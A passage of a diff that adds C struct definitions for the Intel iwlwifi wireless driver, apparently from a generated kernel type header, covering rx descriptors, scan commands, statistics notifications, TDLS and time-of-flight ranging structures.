+}; + +struct iwl_rx_completion_desc_bz { + __le16 rbid; + u8 flags; + u8 reserved[1]; +}; + +struct iwl_rx_handlers { + u16 cmd_id; + u16 min_size; + enum iwl_rx_handler_context context; + void (*fn)(struct iwl_mvm *, struct iwl_rx_cmd_buffer *); +}; + +struct iwl_rx_mem_buffer { + dma_addr_t page_dma; + struct page *page; + struct list_head list; + u32 offset; + u16 vid; + bool invalid; +}; + +struct iwl_rx_mpdu_desc_v1 { + union { + __le32 rss_hash; + __le32 phy_data2; + }; + union { + __le32 filter_match; + __le32 phy_data3; + }; + __le32 rate_n_flags; + u8 energy_a; + u8 energy_b; + u8 channel; + u8 mac_context; + __le32 gp2_on_air_rise; + union { + __le64 tsf_on_air_rise; + struct { + __le32 phy_data0; + __le32 phy_data1; + }; + }; +} __attribute__((packed)); + +struct iwl_rx_mpdu_desc_v3 { + union { + __le32 filter_match; + __le32 phy_data3; + }; + union { + __le32 rss_hash; + __le32 phy_data2; + }; + __le32 partial_hash; + __be16 raw_xsum; + __le16 reserved_xsum; + __le32 rate_n_flags; + u8 energy_a; + u8 energy_b; + u8 channel; + u8 mac_context; + __le32 gp2_on_air_rise; + union { + __le64 tsf_on_air_rise; + struct { + __le32 phy_data0; + __le32 phy_data1; + }; + }; + __le32 phy_data5; + __le32 reserved[1]; +} __attribute__((packed)); + +struct iwl_rx_mpdu_desc { + __le16 mpdu_len; + u8 mac_flags1; + u8 mac_flags2; + u8 amsdu_info; + __le16 phy_info; + u8 mac_phy_idx; + union { + struct { + __le16 raw_csum; + union { + __le16 l3l4_flags; + __le16 phy_data4; + }; + }; + __le32 phy_eht_data4; + }; + __le32 status; + __le32 reorder_data; + union { + struct iwl_rx_mpdu_desc_v1 v1; + struct iwl_rx_mpdu_desc_v3 v3; + }; +} __attribute__((packed)); + +struct iwl_rx_mpdu_res_start { + __le16 byte_count; + __le16 assist; +}; + +struct iwl_rx_mpdu_res_start___2 { + __le16 byte_count; + __le16 reserved; +}; + +struct iwl_rx_no_data_ver_3 { + __le32 info; + __le32 rssi; + __le32 on_air_rise_time; + __le32 fr_time; + __le32 rate; + __le32 phy_info[2]; + __le32 rx_vec[4]; +}; + +struct iwl_rx_packet { + __le32 len_n_flags; + struct iwl_cmd_header hdr; + u8 data[0]; +}; + +struct iwl_rx_sta_csa { + bool all_sta_unblocked; + struct ieee80211_vif *vif; +}; + +struct iwl_rx_transfer_desc { + __le16 rbid; + __le16 reserved[3]; + __le64 addr; +}; + +struct iwl_rxon_assoc_cmd { + __le32 flags; + __le32 filter_flags; + u8 ofdm_basic_rates; + u8 cck_basic_rates; + __le16 reserved1; + u8 ofdm_ht_single_stream_basic_rates; + u8 ofdm_ht_dual_stream_basic_rates; + u8 ofdm_ht_triple_stream_basic_rates; + u8 reserved2; + __le16 rx_chain_select_flags; + __le16 acquisition_data; + __le32 reserved3; +}; + +struct iwl_rxq { + int id; + void *bd; + dma_addr_t bd_dma; + void *used_bd; + dma_addr_t used_bd_dma; + u32 read; + u32 write; + u32 free_count; + u32 used_count; + u32 write_actual; + u32 queue_size; + struct list_head rx_free; + struct list_head rx_used; + bool need_update; + bool next_rb_is_fragment; + void *rb_stts; + dma_addr_t rb_stts_dma; + spinlock_t lock; + struct napi_struct napi; + struct iwl_rx_mem_buffer *queue[256]; +}; + +struct iwl_rxq_sync_cmd { + __le32 flags; + __le32 rxq_mask; + __le32 count; + u8 payload[0]; +}; + +struct iwl_rxq_sync_notification { + __le32 count; + u8 payload[0]; +}; + +struct iwl_scan_channel { + __le32 type; + __le16 channel; + u8 tx_gain; + u8 dsp_atten; + __le16 active_dwell; + __le16 passive_dwell; +}; + +struct iwl_scan_channel_cfg_lmac { + __le32 flags; + __le16 channel_num; + __le16 iter_count; + __le32 iter_interval; +}; + +struct iwl_scan_channel_cfg_umac { + __le32 flags; + u8 channel_num; + union { + struct { + u8 iter_count; + __le16 iter_interval; + } __attribute__((packed)) v1; + struct { + u8 band; + u8 iter_count; + u8 iter_interval; + } v2; + struct { + u8 psd_20; + u8 iter_count; + u8 iter_interval; + } v5; + }; +}; + +struct iwl_scan_channel_opt { + __le16 flags; + __le16 non_ebs_ratio; +}; + +struct iwl_scan_channel_params_v4 { + u8 flags; + u8 count; + u8 num_of_aps_override; + u8 reserved; + struct iwl_scan_channel_cfg_umac channel_config[67]; + u8 adwell_ch_override_bitmap[16]; +}; + +struct iwl_scan_channel_params_v7 { + u8 flags; + u8 count; + u8 n_aps_override[2]; + struct iwl_scan_channel_cfg_umac channel_config[67]; +}; + +struct iwl_tx_cmd___2 { + __le16 len; + __le16 next_frame_len; + __le32 tx_flags; + struct iwl_dram_scratch scratch; + __le32 rate_n_flags; + u8 sta_id; + u8 sec_ctl; + u8 initial_rate_index; + u8 reserved; + u8 key[16]; + __le16 next_frame_flags; + __le16 reserved2; + union { + __le32 life_time; + __le32 attempt; + } stop_time; + __le32 dram_lsb_ptr; + u8 dram_msb_ptr; + u8 rts_retry_limit; + u8 data_retry_limit; + u8 tid_tspec; + union { + __le16 pm_frame_timeout; + __le16 attempt_duration; + } timeout; + __le16 driver_txop; + union { + struct { + struct {} __empty_payload; + u8 payload[0]; + }; + struct { + struct {} __empty_hdr; + struct ieee80211_hdr hdr[0]; + }; + }; +}; + +struct iwl_ssid_ie { + u8 id; + u8 len; + u8 ssid[32]; +}; + +struct iwl_scan_cmd { + __le16 len; + u8 scan_flags; + u8 channel_count; + __le16 quiet_time; + __le16 quiet_plcp_th; + __le16 good_CRC_th; + __le16 rx_chain; + __le32 max_out_time; + __le32 suspend_time; + __le32 flags; + __le32 filter_flags; + struct iwl_tx_cmd___2 tx_cmd; + struct iwl_ssid_ie direct_scan[20]; + u8 data[0]; +}; + +struct iwl_scan_config { + u8 enable_cam_mode; + u8 enable_promiscouos_mode; + u8 bcast_sta_id; + u8 reserved; + __le32 tx_chains; + __le32 rx_chains; +}; + +struct iwl_scan_dwell { + u8 active; + u8 passive; + u8 fragmented; + u8 extended; +}; + +struct iwl_scan_config_v1 { + __le32 flags; + __le32 tx_chains; + __le32 rx_chains; + __le32 legacy_rates; + __le32 out_of_channel_time; + __le32 suspend_time; + struct iwl_scan_dwell dwell; + u8 mac_addr[6]; + u8 bcast_sta_id; + u8 channel_flags; + u8 channel_array[0]; +}; + +struct iwl_scan_config_v2 { + __le32 flags; + __le32 tx_chains; + __le32 rx_chains; + __le32 legacy_rates; + __le32 out_of_channel_time[2]; + __le32 suspend_time[2]; + struct iwl_scan_dwell dwell; + u8 mac_addr[6]; + u8 bcast_sta_id; + u8 channel_flags; + u8 channel_array[0]; +}; + +struct iwl_scan_general_params_v11 { + __le16 flags; + u8 reserved; + u8 scan_start_mac_or_link_id; + u8 active_dwell[2]; + u8 adwell_default_2g; + u8 adwell_default_5g; + u8 adwell_default_social_chn; + u8 flags2; + __le16 adwell_max_budget; + __le32 max_out_of_time[2]; + __le32 suspend_time[2]; + __le32 scan_priority; + u8 passive_dwell[2]; + u8 num_of_fragments[2]; +}; + +struct iwl_scan_offload_blocklist { + u8 ssid[6]; + u8 reported_rssi; + u8 client_bitmap; +}; + +struct iwl_scan_offload_profile_match { + u8 bssid[6]; + __le16 reserved; + u8 channel; + u8 energy; + u8 matching_feature; + u8 matching_channels[7]; +}; + +struct iwl_scan_offload_match_info { + __le32 matched_profiles; + __le32 last_scan_age; + __le32 n_scans_done; + __le32 gp2_d0u; + __le32 gp2_invoked; + u8 resume_while_scanning; + u8 self_recovery; + __le16 reserved; + struct iwl_scan_offload_profile_match matches[0]; +}; + +struct iwl_scan_offload_profile { + u8 ssid_index; + u8 unicast_cipher; + u8 auth_alg; + u8 network_type; + u8 band_selection; + u8 client_bitmap; + u8 reserved[2]; +}; + +struct iwl_scan_offload_profile_cfg_data { + u8 blocklist_len; + u8 num_profiles; + u8 match_notify; + u8 pass_match; + u8 active_clients; + u8 any_beacon_notify; + u8 reserved[2]; +}; + +struct iwl_scan_offload_profile_cfg { + struct iwl_scan_offload_profile profiles[8]; + struct iwl_scan_offload_profile_cfg_data data; +}; + +struct iwl_scan_offload_profile_cfg_v1 { + struct iwl_scan_offload_profile profiles[11]; + struct iwl_scan_offload_profile_cfg_data data; +}; + +struct iwl_scan_offload_profile_match_v1 { + u8 bssid[6]; + __le16 reserved; + u8 channel; + u8 energy; + u8 matching_feature; + u8 matching_channels[5]; +}; + +struct iwl_scan_umac_schedule { + __le16 interval; + u8 iter_count; + u8 reserved; +}; + +struct iwl_scan_periodic_parms_v1 { + struct iwl_scan_umac_schedule schedule[2]; + __le16 delay; + __le16 reserved; +}; + +struct iwl_scan_probe_params_v3 { + struct iwl_scan_probe_req preq; + u8 ssid_num; + u8 short_ssid_num; + u8 bssid_num; + u8 reserved; + struct iwl_ssid_ie direct_scan[20]; + __le32 short_ssid[8]; + u8 bssid_array[96]; +}; + +struct iwl_scan_probe_params_v4 { + struct iwl_scan_probe_req preq; + u8 short_ssid_num; + u8 bssid_num; + __le16 reserved; + struct iwl_ssid_ie direct_scan[20]; + __le32 short_ssid[8]; + u8 bssid_array[96]; +}; + +struct iwl_scan_probe_req_v1 { + struct iwl_scan_probe_segment mac_header; + struct iwl_scan_probe_segment band_data[2]; + struct iwl_scan_probe_segment common_data; + u8 buf[512]; +}; + +struct iwl_scan_req_tx_cmd { + __le32 tx_flags; + __le32 rate_n_flags; + u8 sta_id; + u8 reserved[3]; +}; + +struct iwl_scan_schedule_lmac { + __le16 delay; + u8 iterations; + u8 full_scan_mul; +}; + +struct iwl_scan_req_lmac { + __le32 reserved1; + u8 n_channels; + u8 active_dwell; + u8 passive_dwell; + u8 fragmented_dwell; + u8 extended_dwell; + u8 reserved2; + __le16 rx_chain_select; + __le32 scan_flags; + __le32 max_out_time; + __le32 suspend_time; + __le32 flags; + __le32 filter_flags; + struct iwl_scan_req_tx_cmd tx_cmd[2]; + struct iwl_ssid_ie direct_scan[20]; + __le32 scan_prio; + __le32 iter_num; + __le32 delay; + struct iwl_scan_schedule_lmac schedule[2]; + struct iwl_scan_channel_opt channel_opt[2]; + u8 data[0]; +}; + +struct iwl_scan_req_params_v12 { + struct iwl_scan_general_params_v11 general_params; + struct iwl_scan_channel_params_v4 channel_params; + struct iwl_scan_periodic_parms_v1 periodic_params; + struct iwl_scan_probe_params_v3 probe_params; +}; + +struct iwl_scan_req_params_v17 { + struct iwl_scan_general_params_v11 general_params; + struct iwl_scan_channel_params_v7 channel_params; + struct iwl_scan_periodic_parms_v1 periodic_params; + struct iwl_scan_probe_params_v4 probe_params; +}; + +struct iwl_scan_umac_chan_param { + u8 flags; + u8 count; + __le16 reserved; +}; + +struct iwl_scan_req_umac { + __le32 flags; + __le32 uid; + __le32 ooc_priority; + __le16 general_flags; + u8 reserved; + u8 scan_start_mac_id; + union { + struct { + u8 extended_dwell; + u8 active_dwell; + u8 passive_dwell; + u8 fragmented_dwell; + __le32 max_out_time; + __le32 suspend_time; + __le32 scan_priority; + struct iwl_scan_umac_chan_param channel; + u8 data[0]; + } v1; + struct { + u8 extended_dwell; + u8 active_dwell; + u8 passive_dwell; + u8 fragmented_dwell; + __le32 max_out_time[2]; + __le32 suspend_time[2]; + __le32 scan_priority; + struct iwl_scan_umac_chan_param channel; + u8 data[0]; + } v6; + struct { + u8 active_dwell; + u8 passive_dwell; + u8 fragmented_dwell; + u8 adwell_default_n_aps; + u8 adwell_default_n_aps_social; + u8 reserved3; + __le16 adwell_max_budget; + __le32 max_out_time[2]; + __le32 suspend_time[2]; + __le32 scan_priority; + struct iwl_scan_umac_chan_param channel; + u8 data[0]; + } v7; + struct { + u8 active_dwell[2]; + u8 reserved2; + u8 adwell_default_n_aps; + u8 adwell_default_n_aps_social; + u8 general_flags2; + __le16 adwell_max_budget; + __le32 max_out_time[2]; + __le32 suspend_time[2]; + __le32 scan_priority; + u8 passive_dwell[2]; + u8 num_of_fragments[2]; + struct iwl_scan_umac_chan_param channel; + u8 data[0]; + } v8; + struct { + u8 active_dwell[2]; + u8 adwell_default_hb_n_aps; + u8 adwell_default_lb_n_aps; + u8 adwell_default_n_aps_social; + u8 general_flags2; + __le16 adwell_max_budget; + __le32 max_out_time[2]; + __le32 suspend_time[2]; + __le32 scan_priority; + u8 passive_dwell[2]; + u8 num_of_fragments[2]; + struct iwl_scan_umac_chan_param channel; + u8 data[0]; + } v9; + }; +}; + +struct iwl_scan_req_umac_tail_v1 { + struct iwl_scan_umac_schedule schedule[2]; + __le16 delay; + __le16 reserved; + struct iwl_scan_probe_req_v1 preq; + struct iwl_ssid_ie direct_scan[20]; +}; + +struct iwl_scan_req_umac_tail_v2 { + struct iwl_scan_umac_schedule schedule[2]; + __le16 delay; + __le16 reserved; + struct iwl_scan_probe_req preq; + struct iwl_ssid_ie direct_scan[20]; +}; + +struct iwl_scan_req_umac_v12 { + __le32 uid; + __le32 ooc_priority; + struct iwl_scan_req_params_v12 scan_params; +}; + +struct iwl_scan_req_umac_v17 { + __le32 uid; + __le32 ooc_priority; + struct iwl_scan_req_params_v17 scan_params; +}; + +struct iwl_scan_umac_handler { + u8 version; + int (*handler)(struct iwl_mvm *, struct ieee80211_vif *, struct iwl_mvm_scan_params *, int, int); +}; + +struct iwl_scancomplete_notification { + u8 scanned_channels; + u8 status; + u8 bt_status; + u8 last_channel; + __le32 tsf_low; + __le32 tsf_high; +}; + +struct iwl_scanstart_notification { + __le32 tsf_low; + __le32 tsf_high; + __le32 beacon_timer; + u8 channel; + u8 band; + u8 reserved[2]; + __le32 status; +}; + +struct iwl_scd_queue_cfg_cmd { + __le32 operation; + union { + struct { + __le32 sta_mask; + u8 tid; + u8 reserved[3]; + __le32 flags; + __le32 cb_size; + __le64 bc_dram_addr; + __le64 tfdq_dram_addr; + } add; + struct { + __le32 sta_mask; + __le32 tid; + } remove; + struct { + __le32 old_sta_mask; + __le32 tid; + __le32 new_sta_mask; + } modify; + } u; +} __attribute__((packed)); + +struct iwl_scd_txq_cfg_cmd { + u8 token; + u8 sta_id; + u8 tid; + u8 scd_queue; + u8 action; + u8 aggregate; + u8 tx_fifo; + u8 window; + __le16 ssn; + __le16 reserved; +}; + +struct iwl_sec_key_cmd { + __le32 action; + union { + struct { + __le32 sta_mask; + __le32 key_id; + __le32 key_flags; + u8 key[32]; + u8 tkip_mic_rx_key[8]; + u8 tkip_mic_tx_key[8]; + __le64 rx_seq; + __le64 tx_seq; + } __attribute__((packed)) add; + struct { + __le32 old_sta_mask; + __le32 new_sta_mask; + __le32 key_id; + __le32 key_flags; + } modify; + struct { + __le32 sta_mask; + __le32 key_id; + __le32 key_flags; + } remove; + } u; +}; + +struct iwl_self_init_dram { + struct iwl_dram_data *fw; + int fw_cnt; + struct iwl_dram_data *paging; + int paging_cnt; +}; + +struct iwl_sensitivity_cmd { + __le16 control; + __le16 table[11]; +}; + +struct iwl_sensitivity_ranges { + u16 min_nrg_cck; + u16 nrg_th_cck; + u16 nrg_th_ofdm; + u16 auto_corr_min_ofdm; + u16 auto_corr_min_ofdm_mrc; + u16 auto_corr_min_ofdm_x1; + u16 auto_corr_min_ofdm_mrc_x1; + u16 auto_corr_max_ofdm; + u16 auto_corr_max_ofdm_mrc; + u16 auto_corr_max_ofdm_x1; + u16 auto_corr_max_ofdm_mrc_x1; + u16 auto_corr_max_cck; + u16 auto_corr_max_cck_mrc; + u16 auto_corr_min_cck; + u16 auto_corr_min_cck_mrc; + u16 barker_corr_th_min; + u16 barker_corr_th_min_mrc; + u16 nrg_th_cca; +}; + +struct iwl_sf_cfg_cmd { + __le32 state; + __le32 watermark[2]; + __le32 long_delay_timeouts[10]; + __le32 full_on_timeouts[10]; +}; + +struct iwl_shared_mem_lmac_cfg { + __le32 txfifo_addr; + __le32 txfifo_size[15]; + __le32 rxfifo1_addr; + __le32 rxfifo1_size; +}; + +struct iwl_shared_mem_cfg { + __le32 shared_mem_addr; + __le32 shared_mem_size; + __le32 sample_buff_addr; + __le32 sample_buff_size; + __le32 rxfifo2_addr; + __le32 rxfifo2_size; + __le32 page_buff_addr; + __le32 page_buff_size; + __le32 lmac_num; + struct iwl_shared_mem_lmac_cfg lmac_smem[3]; + __le32 rxfifo2_control_addr; + __le32 rxfifo2_control_size; +}; + +struct iwl_shared_mem_cfg_v2 { + __le32 shared_mem_addr; + __le32 shared_mem_size; + __le32 sample_buff_addr; + __le32 sample_buff_size; + __le32 txfifo_addr; + __le32 txfifo_size[8]; + __le32 rxfifo_size[2]; + __le32 page_buff_addr; + __le32 page_buff_size; + __le32 rxfifo_addr; + __le32 internal_txfifo_addr; + __le32 internal_txfifo_size[6]; +}; + +struct iwl_soc_configuration_cmd { + __le32 flags; + __le32 latency; +}; + +struct iwl_sta_cfg_cmd { + __le32 sta_id; + __le32 link_id; + u8 peer_mld_address[6]; + __le16 reserved_for_peer_mld_address; + u8 peer_link_address[6]; + __le16 reserved_for_peer_link_address; + __le32 station_type; + __le32 assoc_id; + __le32 beamform_flags; + __le32 mfp; + __le32 mimo; + __le32 mimo_protection; + __le32 ack_enabled; + __le32 trig_rnd_alloc; + __le32 tx_ampdu_spacing; + __le32 tx_ampdu_max_size; + __le32 sp_length; + __le32 uapsd_acs; + struct iwl_he_pkt_ext_v2 pkt_ext; + __le32 htc_flags; +}; + +struct iwl_sta_iter_data { + bool assoc; +}; + +struct iwl_station_priv { + struct iwl_rxon_context *ctx; + struct iwl_lq_sta___2 lq_sta; + atomic_t pending_frames; + bool client; + bool asleep; + u8 max_agg_bufsize; + u8 sta_id; +}; + +struct iwl_statistics_cmd { + __le32 flags; +}; + +struct iwl_statistics_cmd___2 { + __le32 configuration_flags; +}; + +struct iwl_statistics_ntfy_hdr { + u8 type; + u8 version; + __le16 size; +}; + +struct iwl_stats_ntfy_per_mac { + __le32 beacon_filter_average_energy; + __le32 air_time; + __le32 beacon_counter; + __le32 beacon_average_energy; + __le32 beacon_rssi_a; + __le32 beacon_rssi_b; + __le32 rx_bytes; +}; + +struct iwl_stats_ntfy_per_phy { + __le32 channel_load; + __le32 channel_load_by_us; + __le32 channel_load_not_by_us; + __le32 clt; + __le32 act; + __le32 elp; + __le32 rx_detected_per_ch_width[5]; + __le32 success_per_ch_width[5]; + __le32 fail_per_ch_width[5]; + __le32 last_tx_ch_width_indx; +}; + +struct iwl_stats_ntfy_per_sta { + __le32 average_energy; +}; + +struct iwl_statistics_operational_ntfy { + struct iwl_statistics_ntfy_hdr hdr; + __le32 flags; + struct iwl_stats_ntfy_per_mac per_mac[4]; + struct iwl_stats_ntfy_per_phy per_phy[3]; + struct iwl_stats_ntfy_per_sta per_sta[16]; + __le64 rx_time; + __le64 tx_time; + __le64 on_time_rf; + __le64 on_time_scan; +}; + +struct iwl_statistics_operational_ntfy_ver_14 { + struct iwl_statistics_ntfy_hdr hdr; + __le32 flags; + __le32 mac_id; + __le32 beacon_filter_average_energy; + __le32 beacon_filter_reason; + __le32 radio_temperature; + __le32 air_time[4]; + __le32 beacon_counter[4]; + __le32 beacon_average_energy[4]; + __le32 beacon_rssi_a; + __le32 beacon_rssi_b; + __le32 rx_bytes[4]; + __le64 rx_time; + __le64 tx_time; + __le64 on_time_rf; + __le64 on_time_scan; + __le32 average_energy[16]; + __le32 reserved; +} __attribute__((packed)); + +struct iwl_stats_ntfy_part1_per_link { + __le64 rx_time; + __le64 tx_time; + __le32 rx_action; + __le32 tx_action; + __le32 cca_defers; + __le32 beacon_filtered; +}; + +struct iwl_stats_ntfy_per_link { + __le32 beacon_filter_average_energy; + __le32 air_time; + __le32 beacon_counter; + __le32 beacon_average_energy; + __le32 beacon_rssi_a; + __le32 beacon_rssi_b; + __le32 rx_bytes; +}; + +struct iwl_stored_beacon_notif_common { + __le32 system_time; + __le64 tsf; + __le32 beacon_timestamp; + __le16 band; + __le16 channel; + __le32 rates; + __le32 byte_count; +} __attribute__((packed)); + +struct iwl_stored_beacon_notif_v2 { + struct iwl_stored_beacon_notif_common common; + u8 data[600]; +}; + +struct iwl_stored_beacon_notif_v3 { + struct iwl_stored_beacon_notif_common common; + u8 sta_id; + u8 reserved[3]; + u8 data[600]; +}; + +struct iwl_synced_time_cmd { + __le32 operation; +}; + +struct iwl_synced_time_rsp { + __le32 operation; + __le32 platform_timestamp_hi; + __le32 platform_timestamp_lo; + __le32 gp2_timestamp_hi; + __le32 gp2_timestamp_lo; +}; + +struct iwl_system_statistics_cmd { + __le32 cfg_mask; + __le32 config_time_sec; + __le32 type_id_mask; +}; + +struct iwl_system_statistics_notif_oper { + __le32 time_stamp; + struct iwl_stats_ntfy_per_link per_link[4]; + struct iwl_stats_ntfy_per_phy per_phy[3]; + struct iwl_stats_ntfy_per_sta per_sta[16]; +}; + +struct iwl_system_statistics_part1_notif_oper { + __le32 time_stamp; + struct iwl_stats_ntfy_part1_per_link per_link[4]; + __le32 per_phy_crc_error_stats[3]; +} __attribute__((packed)); + +struct iwl_tas_config_cmd_common { + __le32 block_list_size; + __le32 block_list_array[16]; +}; + +struct iwl_tas_config_cmd_v3 { + __le16 override_tas_iec; + __le16 enable_tas_iec; +}; + +struct iwl_tas_config_cmd_v4 { + u8 override_tas_iec; + u8 enable_tas_iec; + u8 usa_tas_uhb_allowed; + u8 reserved; +}; + +struct iwl_tas_config_cmd { + struct iwl_tas_config_cmd_common common; + union { + struct iwl_tas_config_cmd_v3 v3; + struct iwl_tas_config_cmd_v4 v4; + }; +}; + +struct iwl_tas_data { + __le32 block_list_size; + __le32 block_list_array[16]; + u8 override_tas_iec; + u8 enable_tas_iec; + u8 usa_tas_uhb_allowed; +}; + +struct iwl_tcm_error_event_table { + u32 valid; + u32 error_id; + u32 blink2; + u32 ilink1; + u32 ilink2; + u32 data1; + u32 data2; + u32 data3; + u32 logpc; + u32 frame_pointer; + u32 stack_pointer; + u32 msgid; + u32 isr; + u32 hw_status[5]; + u32 sw_status[1]; + u32 reserved[4]; +}; + +struct iwl_tdls_channel_switch_timing { + __le32 frame_timestamp; + __le32 max_offchan_duration; + __le32 switch_time; + __le32 switch_timeout; +}; + +struct iwl_tdls_channel_switch_frame { + __le32 switch_time_offset; + struct iwl_tx_cmd tx_cmd; + u8 data[200]; +}; + +struct iwl_tdls_channel_switch_cmd_tail { + struct iwl_tdls_channel_switch_timing timing; + struct iwl_tdls_channel_switch_frame frame; +}; + +struct iwl_tdls_channel_switch_cmd { + u8 switch_type; + __le32 peer_sta_id; + struct iwl_fw_channel_info ci; + struct iwl_tdls_channel_switch_cmd_tail tail; +} __attribute__((packed)); + +struct iwl_tdls_channel_switch_notif { + __le32 status; + __le32 offchannel_duration; + __le32 sta_id; +}; + +struct iwl_tdls_sta_info { + u8 sta_id; + u8 tx_to_peer_tid; + __le16 tx_to_peer_ssn; + __le32 is_initiator; +}; + +struct iwl_tdls_config_cmd { + __le32 id_and_color; + u8 tdls_peer_count; + u8 tx_to_ap_tid; + __le16 tx_to_ap_ssn; + struct iwl_tdls_sta_info sta_info[4]; + __le32 pti_req_data_offset; + struct iwl_tx_cmd pti_req_tx_cmd; + u8 pti_req_template[0]; +}; + +struct iwl_tdls_config_sta_info_res { + __le16 sta_id; + __le16 tx_to_peer_last_seq; +}; + +struct iwl_tdls_config_res { + __le32 tx_to_ap_last_seq; + struct iwl_tdls_config_sta_info_res sta_info[4]; +}; + +struct iwl_tfd_tb { + __le32 lo; + __le16 hi_n_len; +} __attribute__((packed)); + +struct iwl_tfd { + u8 __reserved1[3]; + u8 num_tbs; + struct iwl_tfd_tb tbs[20]; + __le32 __pad; +}; + +struct iwl_tfh_tb { + __le16 tb_len; + __le64 addr; +} __attribute__((packed)); + +struct iwl_tfh_tfd { + __le16 num_tbs; + struct iwl_tfh_tb tbs[25]; + __le32 __pad; +}; + +struct iwl_thermal_dual_chain_request { + __le32 event; +}; + +struct iwl_time_event_cmd { + __le32 id_and_color; + __le32 action; + __le32 id; + __le32 apply_time; + __le32 max_delay; + __le32 depends_on; + __le32 interval; + __le32 duration; + u8 repeat; + u8 max_frags; + __le16 policy; +}; + +struct iwl_time_event_notif { + __le32 timestamp; + __le32 session_id; + __le32 unique_id; + __le32 id_and_color; + __le32 action; + __le32 status; +}; + +struct iwl_time_event_resp { + __le32 status; + __le32 id; + __le32 unique_id; + __le32 id_and_color; +}; + +struct iwl_time_msmt_cfm_notify { + u8 peer_addr[6]; + u8 reserved[2]; + __le32 dialog_token; + __le32 t1_hi; + __le32 t1_lo; + __le32 t1_max_err; + __le32 t4_hi; + __le32 t4_lo; + __le32 t4_max_err; +}; + +struct iwl_time_msmt_ptp_ctx { + union { + struct { + u8 element_id; + u8 length; + __le16 reserved; + u8 data[128]; + } ftm; + struct { + u8 element_id; + u8 length; + u8 data[128]; + } tm; + }; +}; + +struct iwl_time_msmt_notify { + u8 peer_addr[6]; + u8 reserved[2]; + __le32 dialog_token; + __le32 followup_dialog_token; + __le32 t1_hi; + __le32 t1_lo; + __le32 t1_max_err; + __le32 t4_hi; + __le32 t4_lo; + __le32 t4_max_err; + __le32 t2_hi; + __le32 t2_lo; + __le32 t2_max_err; + __le32 t3_hi; + __le32 t3_lo; + __le32 t3_max_err; + struct iwl_time_msmt_ptp_ctx ptp; +}; + +struct iwl_time_quota_data_v1 { + __le32 id_and_color; + __le32 quota; + __le32 max_duration; +}; + +struct iwl_time_sync_cfg_cmd { + __le32 protocols; + u8 peer_addr[6]; + u8 reserved[2]; +}; + +struct iwl_tlc_config_cmd_v3 { + u8 sta_id; + u8 reserved1[3]; + u8 max_ch_width; + u8 mode; + u8 chains; + u8 amsdu; + __le16 flags; + __le16 non_ht_rates; + __le16 ht_rates[4]; + __le16 max_mpdu_len; + u8 sgi_ch_width_supp; + u8 reserved2; + __le32 max_tx_op; +}; + +struct iwl_tlc_config_cmd_v4 { + u8 sta_id; + u8 reserved1[3]; + u8 max_ch_width; + u8 mode; + u8 chains; + u8 sgi_ch_width_supp; + __le16 flags; + __le16 non_ht_rates; + __le16 ht_rates[6]; + __le16 max_mpdu_len; + __le16 max_tx_op; +}; + +struct iwl_tlc_update_notif { + u8 sta_id; + u8 reserved[3]; + __le32 flags; + __le32 rate; + __le32 amsdu_size; + __le32 amsdu_enabled; +}; + +struct iwl_tlv_calib_data { + __le32 ucode_type; + struct iwl_tlv_calib_ctrl calib; +}; + +struct iwl_tlv_ucode_header { + __le32 zero; + __le32 magic; + u8 human_readable[64]; + __le32 ver; + __le32 build; + __le64 ignore; + u8 data[0]; +}; + +struct iwl_tof_range_abort_cmd { + u8 request_id; + u8 reserved[3]; +}; + +struct iwl_tof_range_req_ap_entry_v10 { + __le32 initiator_ap_flags; + u8 band; + u8 channel_num; + u8 format_bw; + u8 ctrl_ch_position; + u8 bssid[6]; + __le16 burst_period; + u8 samples_per_burst; + u8 num_of_bursts; + u8 sta_id; + u8 cipher; + u8 hltk[32]; + u8 tk[32]; + __le16 calib[5]; + __le16 beacon_interval; + u8 rx_pn[6]; + u8 tx_pn[6]; + u8 r2i_ndp_params; + u8 i2r_ndp_params; + __le16 min_time_between_msr; +}; + +struct iwl_tof_range_req_ap_entry_v2 { + u8 channel_num; + u8 bandwidth; + u8 tsf_delta_direction; + u8 ctrl_ch_position; + u8 bssid[6]; + u8 measure_type; + u8 num_of_bursts; + __le16 burst_period; + u8 samples_per_burst; + u8 retries_per_sample; + __le32 tsf_delta; + u8 location_req; + u8 asap_mode; + u8 enable_dyn_ack; + s8 rssi; + u8 algo_type; + u8 notify_mcsi; + __le16 reserved; +}; + +struct iwl_tof_range_req_ap_entry_v3 { + __le32 initiator_ap_flags; + u8 channel_num; + u8 bandwidth; + u8 ctrl_ch_position; + u8 ftmr_max_retries; + u8 bssid[6]; + __le16 burst_period; + u8 samples_per_burst; + u8 num_of_bursts; + __le16 reserved; + __le32 tsf_delta; +}; + +struct iwl_tof_range_req_ap_entry_v4 { + __le32 initiator_ap_flags; + u8 channel_num; + u8 format_bw; + u8 ctrl_ch_position; + u8 ftmr_max_retries; + u8 bssid[6]; + __le16 burst_period; + u8 samples_per_burst; + u8 num_of_bursts; + __le16 reserved; + u8 hltk[32]; + u8 tk[32]; +}; + +struct iwl_tof_range_req_ap_entry_v6 { + __le32 initiator_ap_flags; + u8 channel_num; + u8 format_bw; + u8 ctrl_ch_position; + u8 ftmr_max_retries; + u8 bssid[6]; + __le16 burst_period; + u8 samples_per_burst; + u8 num_of_bursts; + u8 sta_id; + u8 cipher; + u8 hltk[32]; + u8 tk[32]; + __le16 calib[5]; + __le16 beacon_interval; +}; + +struct iwl_tof_range_req_ap_entry_v7 { + __le32 initiator_ap_flags; + u8 channel_num; + u8 format_bw; + u8 ctrl_ch_position; + u8 ftmr_max_retries; + u8 bssid[6]; + __le16 burst_period; + u8 samples_per_burst; + u8 num_of_bursts; + u8 sta_id; + u8 cipher; + u8 hltk[32]; + u8 tk[32]; + __le16 calib[5]; + __le16 beacon_interval; + u8 rx_pn[6]; + u8 tx_pn[6]; +}; + +struct iwl_tof_range_req_ap_entry_v8 { + __le32 initiator_ap_flags; + u8 channel_num; + u8 format_bw; + u8 ctrl_ch_position; + u8 ftmr_max_retries; + u8 bssid[6]; + __le16 burst_period; + u8 samples_per_burst; + u8 num_of_bursts; + u8 sta_id; + u8 cipher; + u8 hltk[32]; + u8 tk[32]; + __le16 calib[5]; + __le16 beacon_interval; + u8 rx_pn[6]; + u8 tx_pn[6]; + u8 r2i_ndp_params; + u8 i2r_ndp_params; + u8 r2i_max_total_ltf; + u8 i2r_max_total_ltf; +}; + +struct iwl_tof_range_req_ap_entry_v9 { + __le32 initiator_ap_flags; + u8 channel_num; + u8 format_bw; + u8 ctrl_ch_position; + u8 ftmr_max_retries; + u8 bssid[6]; + __le16 burst_period; + u8 samples_per_burst; + u8 num_of_bursts; + u8 sta_id; 